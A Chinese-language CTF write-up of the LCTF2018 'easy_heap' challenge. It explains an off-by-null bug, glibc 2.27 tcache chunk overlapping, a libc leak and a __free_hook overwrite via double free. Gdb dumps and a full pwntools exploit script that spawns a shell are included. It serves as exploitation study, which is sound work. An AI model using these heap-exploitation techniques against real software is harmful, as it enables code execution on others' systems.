LCTF2018 easy_heap

一道tache的题目,开始学tcache的时候没有调通,今天正好室友也在调这个题目,就又参考CTF-WIKI上的exp调了一下。

题目描述 & 题目漏洞

题目有malloc、free和show三个功能,题目开始calloc了一段内存来存储后续分配的堆块指针和size,题目最多申请10个chunk,idx0~idx9,每次的大小都是固定的0x100,程序接受用户输入的my_read函数有一个off by null的漏洞,但是题目会过滤掉’\x00’的字符,因为题目每次申请的chunk都是固定的0x100,所以在进行常规的chunk overlapping时,不能伪造诸如0x200、0x100的prev_size,利用过程比较巧妙地是利用unsortedbin每次合并或切割chunk时写入prev_size,从而构造unlink的条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall my_read(_BYTE *buf, int size)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
v3 = 0;
if ( size )
{
while ( 1 )
{
read(0, &buf[v3], 1uLL);
if ( size - 1 < v3 || !buf[v3] || buf[v3] == 10 ) //过滤'\x00'
break;
++v3;
}
buf[v3] = 0;
buf[size] = 0; //off by null
}
else
{
*buf = 0;
}
return __readfsqword(0x28u) ^ v4;
}

另外libc版本是2.27,有tcache,在利用过程中要注意tcache的填充。

利用过程

利用思路:\
首先申请9个chunk并全部释放,idx6~idx8进入到unsortedbin中,prev_size分别为0x100、0x200、0x300,这里的prev_size说的不太准确,应该是freed chunk与下一个chunk复用的数据域填充的是这个chunk的size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for i in range(7):
add(0x10,'aaaa\n') #0 ~ 6

for i in range(3):
add(0x10,'aaaa\n') #7 ~ 9

for i in range(6):
delete(i) #0 ~ 5 free into tcache

delete(9)

##unsortedbin:6+7+8 = 0x300
##6 A:prev_size:0x100 0xa00
##7 B:prev_size:0x200 0xb00
##8 C:prev_size:0x300 0xc00
for i in range(6,9,1):
delete(i) #6~8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x /8gx 0x555555757900+0x100 #idx6 A
0x555555757a00: 0x0000000000000100 0x0000000000000100
0x555555757a10: 0x0000000000000000 0x0000000000000000
0x555555757a20: 0x0000000000000000 0x0000000000000000
0x555555757a30: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /8gx 0x555555757900+0x200 #idx7 B
0x555555757b00: 0x0000000000000200 0x0000000000000100
0x555555757b10: 0x0000000000000000 0x0000000000000000
0x555555757b20: 0x0000000000000000 0x0000000000000000
0x555555757b30: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /8gx 0x555555757900+0x300 #idx8 C
0x555555757c00: 0x0000000000000300 0x0000000000000100
0x555555757c10: 0x0000555555757810 0x0000000000000000
0x555555757c20: 0x0000000000000000 0x0000000000000000
0x555555757c30: 0x0000000000000000 0x0000000000000000

再申请7个chunk,清空tcache,然后申请3个chunk,即idx7~idx9,分配idx7时A的prev_size直接分配到idx7中,不会变化,C的orev_size变为0x200,分配idx8时,B的prev_size分配到idx8中,0x200不会改变,C的prev_size变为0x100,最后分配idx9,C的prev_size最终变为0x100。

1
2
3
4
5
6
for i in range(7):
add(0x10,'aaaa\n') #0 ~ 6

add(0x10,'aaaa\n') #7 A prev_size:0x100
add(0x10,'aaaa\n') #8 B prev_size:0x200
add(0x10,'aaaa\n') #9 C prev_size:0x100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x /8gx 0x555555757900+0x100 #idx7 A
0x555555757a00: 0x0000000000000100 0x0000000000000101
0x555555757a10: 0x00007f0061616161 0x00007ffff7dcfca0
0x555555757a20: 0x0000000000000000 0x0000000000000000
0x555555757a30: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /8gx 0x555555757900+0x200 #idx8 B
0x555555757b00: 0x0000000000000200 0x0000000000000101
0x555555757b10: 0x0000000061616161 0x00007ffff7dcfca0
0x555555757b20: 0x0000000000000000 0x0000000000000000
0x555555757b30: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /8gx 0x555555757900+0x300 #idx9 C
0x555555757c00: 0x0000000000000100 0x0000000000000101
0x555555757c10: 0x0000550061616161 0x0000000000000000
0x555555757c20: 0x0000000000000000 0x0000000000000000
0x555555757c30: 0x0000000000000000 0x0000000000000000

要构造idx8的chunk overlap,需要idx7是freed的状态,利用off by null修改idx9的size由0x101变为0x100,如果释放idx9,触发unlink,通过0x200的prev_size找到idx7,因为idx7是freed状态,可以进行合并,因此0x200+0x100=0x300进入到unsortedbin中,造成了B块的重叠。要注意tcache的填充。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(6):
delete(i)

delete(8) #B tcache
delete(7) #A freed unsorted bin prev_size:0x100

##off by null
##0xb00 prev_size:0x100 size:0x100
add(0xf8,'aaaa\n') #0 B malloc from tcache

delete(6) #fill tcache

##trigger unlink
##0x300 put into tcache
##over chunk idx8
delete(9) #C 0x300 put into tcache

这时包含idx0的chunk进入到unsortedbin中,再申请一个0x100的chunk,show(0)就可以泄露libc:

1
2
3
4
5
6
7
8
9
10
11
12
##leak libc
for i in range(7):
add(0x10,'aaaa\n') #1~7

add(0x10,'aaaa\n') #8
show(0)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)
free_hook = libc_base + libc.symbols["__free_hook"]
#system_addr = libc_base + libc.symbols["system"]
one_gadget = libc_base + 0x4f322

此时申请idx9,它的地址与idx0是相同的,然后分别释放构造double free,exp这里先释放了idx1和idx2是因为题目限制chunk的数目为10,此时只能申请一个idx9了,double free需要再申请3个chunk,因此先释放两个,最后修改free_hook为one_gadget,然后释放一个chunk触发get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x10,'aaaa\n') #9 == 0
delete(1)
delete(2)

##double free
delete(0)
delete(9)

add(0x10,p64(free_hook)+'\n') #0
add(0x10,'/bin/sh'+'\n') #1
add(0x10,p64(one_gadget)+'\n') #9

##trigger
delete(1)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split","-h"]


p = process("./easy_heap")
#p = process(["./easy_heap"],env={"LD_PRELOAD":'./libc64.so'})

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def add(size,content):
p.recvuntil("> ")
p.sendline('1')
p.recvuntil("> ")
p.sendline(str(size))
p.recvuntil("> ")
p.send(content)

def delete(idx):
p.recvuntil("> ")
p.sendline('2')
p.recvuntil("> ")
p.sendline(str(idx))

def show(idx):
p.recvuntil("> ")
p.sendline('3')
p.recvuntil("> ")
p.sendline(str(idx))



for i in range(7):
add(0x10,'aaaa\n') #0 ~ 6

for i in range(3):
add(0x10,'aaaa\n') #7 ~ 9

for i in range(6):
delete(i) #0 ~ 5 free into tcache

delete(9)

##unsortedbin:6+7+8 = 0x300
##6 A:prev_size:0x100 0xa00
##7 B:prev_size:0x200 0xb00
##8 C:prev_size:0x300 0xc00
for i in range(6,9,1):
delete(i) #6~8


for i in range(7):
add(0x10,'aaaa\n') #0 ~ 6

add(0x10,'aaaa\n') #7 A prev_size:0x100
add(0x10,'aaaa\n') #8 B prev_size:0x200
add(0x10,'aaaa\n') #9 C prev_size:0x100


for i in range(6):
delete(i)

delete(8) #B tcache
delete(7) #A freed unsorted bin prev_size:0x100

##off by null
##0xb00 prev_size:0x100 size:0x100
add(0xf8,'aaaa\n') #0 B malloc from tcache

delete(6) #fill tcache


##trigger unlink
##0x300 put into tcache
##over chunk idx8
delete(9) #C 0x300 put into tcache


##leak libc
for i in range(7):
add(0x10,'aaaa\n') #1~7

add(0x10,'aaaa\n') #8
show(0)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)
free_hook = libc_base + libc.symbols["__free_hook"]
#system_addr = libc_base + libc.symbols["system"]
one_gadget = libc_base + 0x4f322

gdb.attach(p)
add(0x10,'aaaa\n') #9 == 0
delete(1)
delete(2)

##double free
delete(0)
delete(9)

add(0x10,p64(free_hook)+'\n') #0
add(0x10,'/bin/sh'+'\n') #1
add(0x10,p64(one_gadget)+'\n') #9

##trigger
delete(1)

p.interactive()

参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/